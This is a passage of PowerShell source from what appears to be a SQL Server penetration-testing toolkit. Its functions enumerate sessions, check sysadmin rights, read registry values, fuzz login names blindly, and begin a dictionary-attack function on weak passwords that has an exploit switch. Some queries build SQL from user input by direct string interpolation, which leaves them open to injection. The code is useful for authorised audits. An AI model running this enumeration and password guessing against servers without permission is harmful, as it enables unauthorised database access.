    SQL Server or domain account password to authenticate with.
    .PARAMETER Credential
    SQL Server credential.
    .PARAMETER Instance
    SQL Server instance to connection to.
    .EXAMPLE
    PS C:\> Get-SQLSession -Instance SQLServer1\STANDARDDEV2014 | Select-Object -First 1
    ComputerName : SQLServer1
    Instance : SQLServer1\STANDARDDEV2014
    PrincipalSid : 010500000000000515000000F3864312345716CC636051C017100000
    PrincipalName : Domain\MyUser
    OriginalPrincipalName : Domain\MyUser
    SessionId : 51
    SessionStartTime : 06/24/2016 09:26:21
    SessionLoginTime : 06/24/2016 09:26:21
    SessionStatus : running
    .EXAMPLE
    PS C:\> Get-SQLInstanceDomain | Get-SQLSession -Verbose
    .EXAMPLE
    PS C:\> (Get-SQLSession -Instance SQLServer1\STANDARDDEV2014).count
    48
    #>
    [CmdletBinding()]
    Param(
    [Parameter(Mandatory = $false,
    ValueFromPipelineByPropertyName = $true,
    HelpMessage = 'SQL Server or domain account to authenticate with.')]
    [string]$Username,

    [Parameter(Mandatory = $false,
    ValueFromPipelineByPropertyName = $true,
    HelpMessage = 'SQL Server or domain account password to authenticate with.')]
    [string]$Password,

    [Parameter(Mandatory = $false,
    HelpMessage = 'Windows credentials.')]
    [System.Management.Automation.PSCredential]
    [System.Management.Automation.Credential()]$Credential = [System.Management.Automation.PSCredential]::Empty,

    [Parameter(Mandatory = $false,
    ValueFromPipelineByPropertyName = $true,
    HelpMessage = 'SQL Server instance to connection to.')]
    [string]$Instance,

    [Parameter(Mandatory = $false,
    ValueFromPipeline = $true,
    ValueFromPipelineByPropertyName = $true,
    HelpMessage = 'PrincipalName.')]
    [string]$PrincipalName,

    [Parameter(Mandatory = $false,
    HelpMessage = 'Suppress verbose errors. Used when function is wrapped.')]
    [switch]$SuppressVerbose
    )

    Begin
    {
    # Table for output
    $TblSessions = New-Object -TypeName System.Data.DataTable
    $null = $TblSessions.Columns.Add('ComputerName')
    $null = $TblSessions.Columns.Add('Instance')
    $null = $TblSessions.Columns.Add('PrincipalSid')
    $null = $TblSessions.Columns.Add('PrincipalName')
    $null = $TblSessions.Columns.Add('OriginalPrincipalName')
    $null = $TblSessions.Columns.Add('SessionId')
    $null = $TblSessions.Columns.Add('SessionStartTime')
    $null = $TblSessions.Columns.Add('SessionLoginTime')
    $null = $TblSessions.Columns.Add('SessionStatus')

    # Setup PrincipalName filter
    if($PrincipalName)
    {
    $PrincipalNameFilter = " and login_name like '$PrincipalName'"
    }
    else
    {
    $PrincipalNameFilter = ''
    }
    }

    Process
    {
    # Note: Tables queried by this function typically require sysadmin privileges to view sessions that aren't yours.

    # Parse computer name from the instance
    $ComputerName = Get-ComputerNameFromInstance -Instance $Instance

    # Default connection to local default instance
    if(-not $Instance)
    {
    $Instance = $env:COMPUTERNAME
    }

    # Test connection to instance
    $TestConnection = Get-SQLConnectionTest -Instance $Instance -Username $Username -Password $Password -Credential $Credential -SuppressVerbose | Where-Object -FilterScript {
    $_.Status -eq 'Accessible'
    }
    if($TestConnection)
    {
    if( -not $SuppressVerbose)
    {
    Write-Verbose -Message "$Instance : Connection Success."
    }
    }
    else
    {
    if( -not $SuppressVerbose)
    {
    Write-Verbose -Message "$Instance : Connection Failed."
    }
    return
    }

    # Define Query
    $Query = " USE master;
    SELECT '$ComputerName' as [ComputerName],
    '$Instance' as [Instance],
    security_id as [PrincipalSid],
    login_name as [PrincipalName],
    original_login_name as [OriginalPrincipalName],
    session_id as [SessionId],
    last_request_start_time as [SessionStartTime],
    login_time as [SessionLoginTime],
    status as [SessionStatus]
    FROM [sys].[dm_exec_sessions]
    ORDER BY status
    $PrincipalNameFilter"

    # Execute Query
    $TblResults = Get-SQLQuery -Instance $Instance -Query $Query -Username $Username -Password $Password -Credential $Credential -SuppressVerbose

    # Update sid formatting for each record
    $TblResults |
    ForEach-Object -Process {
    # Format principal sid
    $NewSid = [System.BitConverter]::ToString($_.PrincipalSid).Replace('-','')
    if ($NewSid.length -le 10)
    {
    $Sid = [Convert]::ToInt32($NewSid,16)
    }
    else
    {
    $Sid = $NewSid
    }

    # Add results to table
    $null = $TblSessions.Rows.Add(
    [string]$_.ComputerName,
    [string]$_.Instance,
    $Sid,
    [string]$_.PrincipalName,
    [string]$_.OriginalPrincipalName,
    [string]$_.SessionId,
    [string]$_.SessionStartTime,
    [string]$_.SessionLoginTime,
    [string]$_.SessionStatus)
    }
    }

    End
    {
    # Return data
    $TblSessions
    }
    }

    Function Get-SQLSysadminCheck
    {
    <#
    .SYNOPSIS
    Check if login is has sysadmin privilege on the target SQL Servers.
    .PARAMETER Username
    SQL Server or domain account to authenticate with.
    .PARAMETER Password
    SQL Server or domain account password to authenticate with.
    .PARAMETER Credential
    SQL Server credential.
    .PARAMETER Instance
    SQL Server instance to connection to.
    .EXAMPLE
    PS C:\> Get-SQLSysadminCheck -Instance SQLServer1\STANDARDDEV2014
    ComputerName Instance IsSysadmin
    ------------ -------- ----------
    SQLServer1 SQLServer1\STANDARDDEV2014 Yes
    .EXAMPLE
    PS C:\> Get-SQLInstanceDomain | Get-SQLStoredProcure -Verbose -NoDefaults
    #>
    [CmdletBinding()]
    Param(
    [Parameter(Mandatory = $false,
    HelpMessage = 'SQL Server or domain account to authenticate with.')]
    [string]$Username,

    [Parameter(Mandatory = $false,
    HelpMessage = 'SQL Server or domain account password to authenticate with.')]
    [string]$Password,

    [Parameter(Mandatory = $false,
    HelpMessage = 'Windows credentials.')]
    [System.Management.Automation.PSCredential]
    [System.Management.Automation.Credential()]$Credential = [System.Management.Automation.PSCredential]::Empty,

    [Parameter(Mandatory = $false,
    ValueFromPipelineByPropertyName = $true,
    HelpMessage = 'SQL Server instance to connection to.')]
    [string]$Instance,

    [Parameter(Mandatory = $false,
    HelpMessage = 'Suppress verbose errors. Used when function is wrapped.')]
    [switch]$SuppressVerbose
    )

    Begin
    {
    # Data for output
    $TblSysadminStatus = New-Object -TypeName System.Data.DataTable

    # Setup CredentialName filter
    if($CredentialName)
    {
    $CredentialNameFilter = " WHERE name like '$CredentialName'"
    }
    else
    {
    $CredentialNameFilter = ''
    }

    }

    Process
    {
    # Parse computer name from the instance
    $ComputerName = Get-ComputerNameFromInstance -Instance $Instance

    # Default connection to local default instance
    if(-not $Instance)
    {
    $Instance = $env:COMPUTERNAME
    }

    # Test connection to instance
    $TestConnection = Get-SQLConnectionTest -Instance $Instance -Username $Username -Password $Password -Credential $Credential -SuppressVerbose | Where-Object -FilterScript {
    $_.Status -eq 'Accessible'
    }
    if($TestConnection)
    {
    if( -not $SuppressVerbose)
    {
    Write-Verbose -Message "$Instance : Connection Success."
    }
    }
    else
    {
    if( -not $SuppressVerbose)
    {
    Write-Verbose -Message "$Instance : Connection Failed."
    }
    return
    }

    # Define Query
    $Query = "SELECT '$ComputerName' as [ComputerName],
    '$Instance' as [Instance],
    CASE
    WHEN IS_SRVROLEMEMBER('sysadmin') = 0 THEN 'No'
    ELSE 'Yes'
    END as IsSysadmin"

    # Execute Query
    $TblSysadminStatusTemp = Get-SQLQuery -Instance $Instance -Query $Query -Username $Username -Password $Password -Credential $Credential -SuppressVerbose

    # Append results
    $TblSysadminStatus = $TblSysadminStatus + $TblSysadminStatusTemp
    }

    End
    {
    # Return data
    $TblSysadminStatus
    }
    }

    Function Get-SQLServerInfo
    {
    <#
    .SYNOPSIS
    Returns basic server and user information from target SQL Servers.
    .PARAMETER Username
    SQL Server or domain account to authenticate with.
    .PARAMETER Password
    SQL Server or domain account password to authenticate with.
    .PARAMETER Credential
    SQL Server credential.
    .PARAMETER Instance
    SQL Server instance to connection to.
    .EXAMPLE
    PS C:\> Get-SQLServerInfo -Instance SQLServer1\STANDARDDEV2014
    ComputerName : SQLServer1
    Instance : SQLServer1\STANDARDDEV2014
    DomainName : Domain
    ServiceProcessId : 6758
    ServiceName : MSSQL$STANDARDDEV2014
    ServiceAccount : LocalSystem
    AuthenticationMode : Windows and SQL Server Authentication
    Clustered : No
    SQLServerVersionNumber : 12.0.4213.0
    SQLServerMajorVersion : 2014
    SQLServerEdition : Developer Edition (64-bit)
    SQLServerServicePack : SP1
    OSArchitecture : X64
    OsMachineType : WinNT
    OSVersionName : Windows 8.1 Pro
    OsVersionNumber : 6.3
    Currentlogin : Domain\MyUser
    IsSysadmin : Yes
    ActiveSessions : 1
    .EXAMPLE
    PS C:\> Get-SQLInstanceLocal | Get-SQLServerInfo -Verbose
    #>
    [CmdletBinding()]
    Param(
    [Parameter(Mandatory = $false,
    HelpMessage = 'SQL Server or domain account to authenticate with.')]
    [string]$Username,

    [Parameter(Mandatory = $false,
    HelpMessage = 'SQL Server or domain account password to authenticate with.')]
    [string]$Password,

    [Parameter(Mandatory = $false,
    HelpMessage = 'Windows credentials.')]
    [System.Management.Automation.PSCredential]
    [System.Management.Automation.Credential()]$Credential = [System.Management.Automation.PSCredential]::Empty,

    [Parameter(Mandatory = $false,
    ValueFromPipelineByPropertyName = $true,
    HelpMessage = 'SQL Server instance to connection to.')]
    [string]$Instance,

    [Parameter(Mandatory = $false,
    HelpMessage = 'Suppress verbose errors. Used when function is wrapped.')]
    [switch]$SuppressVerbose
    )

    Begin
    {
    # Table for output
    $TblServerInfo = New-Object -TypeName System.Data.DataTable
    }

    Process
    {
    # Parse computer name from the instance
    $ComputerName = Get-ComputerNameFromInstance -Instance $Instance

    # Default connection to local default instance
    if(-not $Instance)
    {
    $Instance = $env:COMPUTERNAME
    }

    # Test connection to instance
    $TestConnection = Get-SQLConnectionTest -Instance $Instance -Username $Username -Password $Password -Credential $Credential -SuppressVerbose | Where-Object -FilterScript {
    $_.Status -eq 'Accessible'
    }
    if($TestConnection)
    {
    if( -not $SuppressVerbose)
    {
    Write-Verbose -Message "$Instance : Connection Success."
    }
    }
    else
    {
    if( -not $SuppressVerbose)
    {
    Write-Verbose -Message "$Instance : Connection Failed."
    }
    return
    }

    # Get number of active sessions for server
    $ActiveSessions = Get-SQLSession -Instance $Instance -Credential $Credential -Username $Username -Password $Password -SuppressVerbose |
    Where-Object -FilterScript {
    $_.SessionStatus -eq 'running'
    } |
    Measure-Object -Line |
    Select-Object -Property Lines -ExpandProperty Lines

    # Get sysadmin status
    $IsSysadmin = Get-SQLSysadminCheck -Instance $Instance -Credential $Credential -Username $Username -Password $Password -SuppressVerbose | Select-Object -Property IsSysadmin -ExpandProperty IsSysadmin

    if($IsSysadmin -eq 'Yes')
    {
    # Grab additional information if sysadmin
    $SysadminSetup = "
    -- Get machine type
    DECLARE @MachineType SYSNAME
    EXECUTE master.dbo.xp_regread
    @rootkey = N'HKEY_LOCAL_MACHINE',
    @key = N'SYSTEM\CurrentControlSet\Control\ProductOptions',
    @value_name = N'ProductType',
    @value = @MachineType output
    -- Get OS version
    DECLARE @ProductName SYSNAME
    EXECUTE master.dbo.xp_regread
    @rootkey = N'HKEY_LOCAL_MACHINE',
    @key = N'SOFTWARE\Microsoft\Windows NT\CurrentVersion',
    @value_name = N'ProductName',
    @value = @ProductName output"

    $SysadminQuery = ' @MachineType as [OsMachineType],
    @ProductName as [OSVersionName],'
    }
    else
    {
    $SysadminSetup = ''
    $SysadminQuery = ''
    }

    # Define Query
    $Query = " -- Get SQL Server Information
    -- Get SQL Server Service Name and Path
    DECLARE @SQLServerInstance varchar(250)
    DECLARE @SQLServerServiceName varchar(250)
    if @@SERVICENAME = 'MSSQLSERVER'
    BEGIN
    set @SQLServerInstance = 'SYSTEM\CurrentControlSet\Services\MSSQLSERVER'
    set @SQLServerServiceName = 'MSSQLSERVER'
    END
    ELSE
    BEGIN
    set @SQLServerInstance = 'SYSTEM\CurrentControlSet\Services\MSSQL$'+cast(@@SERVICENAME as varchar(250))
    set @SQLServerServiceName = 'MSSQL$'+cast(@@SERVICENAME as varchar(250))
    END
    -- Get SQL Server Service Account
    DECLARE @ServiceaccountName varchar(250)
    EXECUTE master.dbo.xp_instance_regread
    N'HKEY_LOCAL_MACHINE', @SQLServerInstance,
    N'ObjectName',@ServiceAccountName OUTPUT, N'no_output'
    -- Get authentication mode
    DECLARE @AuthenticationMode INT
    EXEC master.dbo.xp_instance_regread N'HKEY_LOCAL_MACHINE',
    N'Software\Microsoft\MSSQLServer\MSSQLServer',
    N'LoginMode', @AuthenticationMode OUTPUT
    -- Get the forced encryption flag
    BEGIN TRY
    DECLARE @ForcedEncryption INT
    EXEC master.dbo.xp_instance_regread N'HKEY_LOCAL_MACHINE',
    N'SOFTWARE\MICROSOFT\Microsoft SQL Server\MSSQLServer\SuperSocketNetLib',
    N'ForceEncryption', @ForcedEncryption OUTPUT
    END TRY
    BEGIN CATCH
    END CATCH
    -- Grab additional information as sysadmin
    $SysadminSetup
    -- Return server and version information
    SELECT '$ComputerName' as [ComputerName],
    @@servername as [Instance],
    DEFAULT_DOMAIN() as [DomainName],
    SERVERPROPERTY('processid') as ServiceProcessID,
    @SQLServerServiceName as [ServiceName],
    @ServiceAccountName as [ServiceAccount],
    (SELECT CASE @AuthenticationMode
    WHEN 1 THEN 'Windows Authentication'
    WHEN 2 THEN 'Windows and SQL Server Authentication'
    ELSE 'Unknown'
    END) as [AuthenticationMode],
    @ForcedEncryption as ForcedEncryption,
    CASE SERVERPROPERTY('IsClustered')
    WHEN 0
    THEN 'No'
    ELSE 'Yes'
    END as [Clustered],
    SERVERPROPERTY('productversion') as [SQLServerVersionNumber],
    SUBSTRING(@@VERSION, CHARINDEX('2', @@VERSION), 4) as [SQLServerMajorVersion],
    serverproperty('Edition') as [SQLServerEdition],
    SERVERPROPERTY('ProductLevel') AS [SQLServerServicePack],
    SUBSTRING(@@VERSION, CHARINDEX('x', @@VERSION), 3) as [OSArchitecture],
    $SysadminQuery
    RIGHT(SUBSTRING(@@VERSION, CHARINDEX('Windows NT', @@VERSION), 14), 3) as [OsVersionNumber],
    SYSTEM_USER as [Currentlogin],
    '$IsSysadmin' as [IsSysadmin],
    '$ActiveSessions' as [ActiveSessions]"
    # Execute Query
    $TblServerInfoTemp = Get-SQLQuery -Instance $Instance -Query $Query -Username $Username -Password $Password -Credential $Credential -SuppressVerbose

    # Append as needed
    $TblServerInfo = $TblServerInfo + $TblServerInfoTemp
    }

    End
    {
    # Return data
    $TblServerInfo
    }
    }

    Function Get-SQLFuzzServerLogin
    {
    <#
    .SYNOPSIS
    Enumerates SQL Server Logins based on login id using SUSER_NAME() and only the Public role.
    .PARAMETER Username
    SQL Server or domain account to authenticate with.
    .PARAMETER Password
    SQL Server or domain account password to authenticate with.
    .PARAMETER Credential
    SQL Server credential.
    .PARAMETER Instance
    SQL Server instance to connection to.
    .PARAMETER FuzzNum
    The number of Principal IDs to fuzz during blind SQL login enumeration as a least privilege login.
    .PARAMETER GetRole
    Checks if the principal name is a role, SQL login, or Windows account.
    .EXAMPLE
    PS C:\> Get-SQLFuzzServerLogin -Instance SQLServer1\STANDARDDEV2014 -StartId 1 -EndId 500 | Select-Object -First 40
    ComputerName Instance PrincipalId PrincipleName
    ------------ -------- ---------- -------------
    SQLServer1 SQLServer1\STANDARDDEV2014 1 sa
    SQLServer1 SQLServer1\STANDARDDEV2014 2 public
    SQLServer1 SQLServer1\STANDARDDEV2014 3 sysadmin
    SQLServer1 SQLServer1\STANDARDDEV2014 4 securityadmin
    SQLServer1 SQLServer1\STANDARDDEV2014 5 serveradmin
    SQLServer1 SQLServer1\STANDARDDEV2014 6 setupadmin
    SQLServer1 SQLServer1\STANDARDDEV2014 7 processadmin
    SQLServer1 SQLServer1\STANDARDDEV2014 8 diskadmin
    SQLServer1 SQLServer1\STANDARDDEV2014 9 dbcreator
    SQLServer1 SQLServer1\STANDARDDEV2014 10 bulkadmin
    SQLServer1 SQLServer1\STANDARDDEV2014 101 ##MS_SQLResourceSigningCertificate##
    SQLServer1 SQLServer1\STANDARDDEV2014 102 ##MS_SQLReplicationSigningCertificate##
    SQLServer1 SQLServer1\STANDARDDEV2014 103 ##MS_SQLAuthenticatorCertificate##
    SQLServer1 SQLServer1\STANDARDDEV2014 105 ##MS_PolicySigningCertificate##
    SQLServer1 SQLServer1\STANDARDDEV2014 106 ##MS_SmoExtendedSigningCertificate##
    SQLServer1 SQLServer1\STANDARDDEV2014 121 ##Agent XPs##
    SQLServer1 SQLServer1\STANDARDDEV2014 122 ##SQL Mail XPs##
    SQLServer1 SQLServer1\STANDARDDEV2014 123 ##Database Mail XPs##
    SQLServer1 SQLServer1\STANDARDDEV2014 124 ##SMO and DMO XPs##
    SQLServer1 SQLServer1\STANDARDDEV2014 125 ##Ole Automation Procedures##
    SQLServer1 SQLServer1\STANDARDDEV2014 126 ##Web Assistant Procedures##
    SQLServer1 SQLServer1\STANDARDDEV2014 127 ##xp_cmdshell##
    SQLServer1 SQLServer1\STANDARDDEV2014 128 ##Ad Hoc Distributed Queries##
    SQLServer1 SQLServer1\STANDARDDEV2014 129 ##Replication XPs##
    SQLServer1 SQLServer1\STANDARDDEV2014 257 ##MS_PolicyTsqlExecutionLogin##
    SQLServer1 SQLServer1\STANDARDDEV2014 259 Domain\User
    SQLServer1 SQLServer1\STANDARDDEV2014 260 NT SERVICE\SQLWriter
    SQLServer1 SQLServer1\STANDARDDEV2014 261 NT SERVICE\Winmgmt
    SQLServer1 SQLServer1\STANDARDDEV2014 262 NT Service\MSSQL$STANDARDDEV2014
    SQLServer1 SQLServer1\STANDARDDEV2014 263 NT AUTHORITY\SYSTEM
    SQLServer1 SQLServer1\STANDARDDEV2014 264 NT SERVICE\SQLAgent$STANDARDDEV2014
    SQLServer1 SQLServer1\STANDARDDEV2014 265 NT SERVICE\ReportServer$STANDARDDEV2014
    SQLServer1 SQLServer1\STANDARDDEV2014 266 ##MS_PolicyEventProcessingLogin##
    SQLServer1 SQLServer1\STANDARDDEV2014 267 ##MS_AgentSigningCertificate##
    SQLServer1 SQLServer1\STANDARDDEV2014 268 MySQLUser1
    SQLServer1 SQLServer1\STANDARDDEV2014 270 MySQLUser2
    SQLServer1 SQLServer1\STANDARDDEV2014 271 MySQLUser3
    SQLServer1 SQLServer1\STANDARDDEV2014 272 MySysadmin1
    SQLServer1 SQLServer1\STANDARDDEV2014 273 Domain\User2
    SQLServer1 SQLServer1\STANDARDDEV2014 274 MySysadmin2
    #>
    [CmdletBinding()]
    Param(
    [Parameter(Mandatory = $false,
    ValueFromPipelineByPropertyName = $true,
    HelpMessage = 'SQL Server or domain account to authenticate with.')]
    [string]$Username,

    [Parameter(Mandatory = $false,
    ValueFromPipelineByPropertyName = $true,
    HelpMessage = 'SQL Server or domain account password to authenticate with.')]
    [string]$Password,

    [Parameter(Mandatory = $false,
    HelpMessage = 'Windows credentials.')]
    [System.Management.Automation.PSCredential]
    [System.Management.Automation.Credential()]$Credential = [System.Management.Automation.PSCredential]::Empty,

    [Parameter(Mandatory = $false,
    ValueFromPipelineByPropertyName = $true,
    HelpMessage = 'SQL Server instance to connection to.')]
    [string]$Instance,

    [Parameter(Mandatory = $false,
    HelpMessage = 'Number of Principal IDs to fuzz.')]
    [string]$FuzzNum = 10000,

    [Parameter(Mandatory = $false,
    HelpMessage = 'Try to determine if the principal type is role, SQL login, or Windows account via error analysis of sp_defaultdb.')]
    [switch]$GetPrincipalType,

    [Parameter(Mandatory = $false,
    HelpMessage = 'Suppress verbose errors. Used when function is wrapped.')]
    [switch]$SuppressVerbose
    )

    Begin
    {
    # Table for output
    $TblFuzzedLogins = New-Object -TypeName System.Data.DataTable
    $null = $TblFuzzedLogins.Columns.add('ComputerName')
    $null = $TblFuzzedLogins.Columns.add('Instance')
    $null = $TblFuzzedLogins.Columns.add('PrincipalId')
    $null = $TblFuzzedLogins.Columns.add('PrincipleName')
    if($GetPrincipalType)
    {
    $null = $TblFuzzedLogins.Columns.add('PrincipleType')
    }
    }

    Process
    {
    # Parse computer name from the instance
    $ComputerName = Get-ComputerNameFromInstance -Instance $Instance

    # Default connection to local default instance
    if(-not $Instance)
    {
    $Instance = $env:COMPUTERNAME
    }

    # Test connection to instance
    $TestConnection = Get-SQLConnectionTest -Instance $Instance -Username $Username -Password $Password -Credential $Credential -SuppressVerbose | Where-Object -FilterScript {
    $_.Status -eq 'Accessible'
    }
    if($TestConnection)
    {
    if( -not $SuppressVerbose)
    {
    Write-Verbose -Message "$Instance : Connection Success."
    Write-Verbose -Message "$Instance : Enumerating principal names from $FuzzNum principal IDs.."
    }
    }
    else
    {
    if( -not $SuppressVerbose)
    {
    Write-Verbose -Message "$Instance : Connection Failed."
    }
    return
    }

    # Define Query
    # Reference: https://gist.github.com/ConstantineK/c6de5d398ec43bab1a29ef07e8c21ec7
    $Query = "
    SELECT
    '$ComputerName' as [ComputerName],
    '$Instance' as [Instance],
    n [PrincipalId], SUSER_NAME(n) as [PrincipleName]
    from (
    select top $FuzzNum row_number() over(order by t1.number) as N
    from master..spt_values t1
    cross join master..spt_values t2
    ) a
    where SUSER_NAME(n) is not null"

    # Execute Query
    $TblResults = Get-SQLQuery -Instance $Instance -Query $Query -Username $Username -Password $Password -Credential $Credential -SuppressVerbose

    # Process results
    $TblResults |
    ForEach-Object {

    # check if principal is role, sql login, or windows account
    $PrincipalName = $_.PrincipleName
    $PrincipalId = $_.PrincipalId

    if($GetPrincipalType)
    {
    $RoleCheckQuery = "EXEC master..sp_defaultdb '$PrincipalName', 'NOTAREALDATABASE1234ABCD'"
    $RoleCheckResults = Get-SQLQuery -Instance $Instance -Query $RoleCheckQuery -Username $Username -Password $Password -Credential $Credential -SuppressVerbose -ReturnError

    # Check the error message for a signature that means the login is real
    if (($RoleCheckResults -like '*NOTAREALDATABASE*') -or ($RoleCheckResults -like '*alter the login*'))
    {

    if($PrincipalName -like '*\*')
    {
    $PrincipalType = 'Windows Account'
    }
    else
    {
    $PrincipalType = 'SQL Login'
    }
    }
    else
    {
    $PrincipalType = 'SQL Server Role'
    }
    }

    # Add to result set
    if($GetPrincipalType)
    {
    $null = $TblFuzzedLogins.Rows.Add($ComputerName, $Instance, $PrincipalId, $PrincipalName, $PrincipalType)
    }
    else
    {
    $null = $TblFuzzedLogins.Rows.Add($ComputerName, $Instance, $PrincipalId, $PrincipalName)
    }

    }
    }

    End
    {
    # Return data
    $TblFuzzedLogins | Where-Object -FilterScript {
    $_.PrincipleName.length -ge 2
    }

    if( -not $SuppressVerbose)
    {
    Write-Verbose -Message "$Instance : Complete."
    }
    }
    }

    Function Invoke-SQLAuditWeakLoginPw
    {
    <#
    .SYNOPSIS
    Perform dictionary attack for common passwords. By default, it will enumerate
    SQL Server logins and the current login and test for "username" as password
    for each enumerated login.
    .PARAMETER Username
    Known SQL Server login to obtain a list of logins with for testing.
    .PARAMETER TestUsername
    SQL Server or domain account to authenticate with.
    .PARAMETER UserFile
    Path to list of users to use. One per line.
    .PARAMETER Password
    Known SQL Server login password to obtain a list of logins with for testing.
    .PARAMETER TestPassword
    Password to test provided or discovered logins with.
    .PARAMETER PassFile
    Path to list of password to use. One per line.
    .PARAMETER Credential
    SQL Server credential.
    .PARAMETER Instance
    SQL Server instance to connection to.
    .PARAMETER NoUserAsPass
    Don't try to login using the login name as the password.
    .PARAMETER NoUserEnum
    Don't try to enumerate logins to test.
    .PARAMETER FuzzNum
    The number of Principal IDs to fuzz during blind SQL login enumeration as a least privilege login.
    .PARAMETER Exploit
    Exploit vulnerable issues.
    .EXAMPLE
    PS C:\> Get-SQLInstanceLocal | Invoke-SQLAuditWeakLoginPw -Username myuser -Password mypassword
    ComputerName : SQLServer1
    Instance : SQLServer1\STANDARDDEV2014
    Vulnerability : Weak Login Password
    Description : One or more SQL Server logins is configured with a weak password. This may provide unauthorized access to resources the affected logins have access to.
    Remediation : Ensure all SQL Server logins are required to use a strong password. Considered inheriting the OS password policy.
    Severity : High
    IsVulnerable : Yes
    IsExploitable : Yes
    Exploited : No
    ExploitCmd : Use the affected credentials to log into the SQL Server, or rerun this command with -Exploit.
    Details : The testuser (Not Sysadmin) is configured with the password testuser.
    Reference : https://msdn.microsoft.com/en-us/library/ms161959.aspx
    Author : Scott Sutherland (@_nullbind), NetSPI 2016
    ComputerName : SQLServer1
    Instance : SQLServer1\Express
    Vulnerability : Weak Login Password
    Description : One or more SQL Server logins is configured with a weak password. This may provide unauthorized access to resources the affected logins have access to.
    Remediation : Ensure all SQL Server logins are required to use a strong password. Considered inheriting the OS password policy.
    Severity : High
    IsVulnerable : Yes
    IsExploitable : Yes
    Exploited : No
    ExploitCmd : Use the affected credentials to log into the SQL Server, or rerun this command with -Exploit.
    Details : The testadmin (Sysadmin) is configured with the password testadmin.
    Reference : https://msdn.microsoft.com/en-us/library/ms161959.aspx
    Author : Scott Sutherland (@_nullbind), NetSPI 2016
    .EXAMPLE
    PS C:\> Invoke-SQLAuditWeakLoginPw -Verbose -Instance SQLServer1\STANDARDDEV2014
    #>
    [CmdletBinding()]
    Param(
    [Parameter(Mandatory = $false,
    ValueFromPipelineByPropertyName = $true,
    HelpMessage = 'Known SQL Server login to fuzz logins with.')]
    [string]$Username,

    [Parameter(Mandatory = $false,
    ValueFromPipelineByPropertyName = $true,
    HelpMessage = 'Username to test.')]
    [string]$TestUsername = 'sa',

    [Parameter(Mandatory = $false,
    HelpMessage = 'Path to list of users to use. One per line.')]
    [string]$UserFile,

    [Parameter(Mandatory = $false,
    ValueFromPipelineByPropertyName = $true,
    HelpMessage = 'Known SQL Server password to fuzz logins with.')]
    [string]$Password,

    [Parameter(Mandatory = $false,
    ValueFromPipelineByPropertyName = $true,
    HelpMessage = 'SQL Server password to attempt to login with.')]
    [string]$TestPassword,

    [Parameter(Mandatory = $false,
    HelpMessage = 'Path to list of passwords to use. One per line.')]
    [string]$PassFile,

    [Parameter(Mandatory = $false,
    HelpMessage = 'User is tested as pass by default. This setting disables it.')]
    [switch]$NoUserAsPass,

    [Parameter(Mandatory = $false,
    ValueFromPipelineByPropertyName = $true,
    HelpMessage = 'Windows credentials.')]
    [System.Management.Automation.PSCredential]
    [System.Management.Automation.Credential()]$Credential = [System.Management.Automation.PSCredential]::Empty,

    [Parameter(Mandatory = $false,
    ValueFromPipelineByPropertyName = $true,
    HelpMessage = 'SQL Server instance to connection to.')]
    [string]$Instance,

    [Parameter(Mandatory = $false,
    HelpMessage = "Don't attempt to enumerate logins from the server.")]
    [switch]$NoUserEnum,

    [Parameter(Mandatory = $false,
    HelpMessage = 'Number of Principal IDs to fuzz.')]
    [string]$FuzzNum = 10000,

    [Parameter(Mandatory = $false,
    HelpMessage = "Don't output anything.")]
    [switch]$NoOutput,

    [Parameter(Mandatory = $false,
    HelpMessage = 'Exploit vulnerable issues.')]
    [switch]$Exploit
    )

    Begin
    {
    # Table for output
    $TblData = New-Object -TypeName System.Data.DataTable
    $null = $TblData.Columns.Add('ComputerName')
    $null = $TblData.Columns.Add('Instance')
    $null = $TblData.Columns.Add('Vulnerability')
    $null = $TblData.Columns.Add('Description')
    $null = $TblData.Columns.Add('Remediation')
    $null = $TblData.Columns.Add('Severity')
    $null = $TblData.Columns.Add('IsVulnerable')
    $null = $TblData.Columns.Add('IsExploitable')
    $null = $TblData.Columns.Add('Exploited')
    $null = $TblData.Columns.Add('ExploitCmd')
    $null = $TblData.Columns.Add('Details')
    $null = $TblData.Columns.Add('Reference')
    $null = $TblData.Columns.Add('Author')
    }

    Process
    {
    # Status User
    Write-Verbose -Message "$Instance : START VULNERABILITY CHECK: Weak Login Password"

    # Test connection to server
    $TestConnection = Get-SQLConnectionTest -Instance $Instance -Username $Username -Password $Password -Credential $Credential -SuppressVerbose | Where-Object -FilterScript {
    $_.Status -eq 'Accessible'
    }
    if(-not $TestConnection)
    {
    # Status user
    Write-Verbose -Message "$Instance : CONNECTION FAILED."
    Write-Verbose -Message "$Instance : COMPLETED VULNERABILITY CHECK: Weak Login Password."
    Return
    }
    else
    {
    Write-Verbose -Message "$Instance : CONNECTION SUCCESS."
    }

    # Grab server information
    $ServerInfo = Get-SQLServerInfo -Instance $Instance -Username $Username -Password $Password -Credential $Credential -SuppressVerbose
    $CurrentLogin = $ServerInfo.CurrentLogin
    $ComputerName = $ServerInfo.ComputerName
    $CurrentUSerSysadmin = $ServerInfo.IsSysadmin

    # --------------------------------------------
    # Set function meta data for report output
    # --------------------------------------------
    if($Exploit)
    {
    $TestMode = 'Exploit'
    }
    else
    {
    $TestMode = 'Audit'
    }
    $Vulnerability = 'Weak Login Password'
    $Description = 'One or more SQL Server logins is configured with a weak password. This may provide unauthorized access to resources the affected logins have access to.'
    $Remediation = 'Ensure all SQL Server logins are required to use a strong password. Consider inheriting the OS password policy.'
    $Severity = 'High'
    $IsVulnerable = 'No'
    $IsExploitable = 'No'
    $Exploited = 'No'
    $ExploitCmd = 'Use the affected credentials to log into the SQL Server, or rerun this command with -Exploit.'
    $Details = ''
    $Reference = 'https://msdn.microsoft.com/en-us/library/ms161959.aspx'
    $Author = 'Scott Sutherland (@_nullbind), NetSPI 2016'

    # -----------------------------------------------------------------
    # Check for the Vulnerability
    # Note: Typically a missing patch or weak configuration
    # -----------------------------------------------------------------

    # Create empty user / password lists
    $LoginList = @()
    $PasswordList = @()

    # Get logins for testing - file
    if($UserFile)
    {
    Write-Verbose -Message "$Instance - Getting logins from file..."
    Get-Content -Path $UserFile |
    ForEach-Object -Process {
    $LoginList += $_
    }
    }

    # Get logins for testing - variable
    if($TestUsername)
    {
    Write-Verbose -Message "$Instance - Getting supplied login..."
    $LoginList += $TestUsername
    }

    # Get logins for testing - fuzzed
    if(-not $NoUserEnum)
    {
    # Test connection to instance
    $TestConnection = Get-SQLConnectionTest -Instance $Instance -Username $Username -Password $Password -Credential $Credential -SuppressVerbose | Where-Object -FilterScript {
    $_.Status -eq 'Accessible'
    }
    if($TestConnection)
    {
    # Check if sysadmin
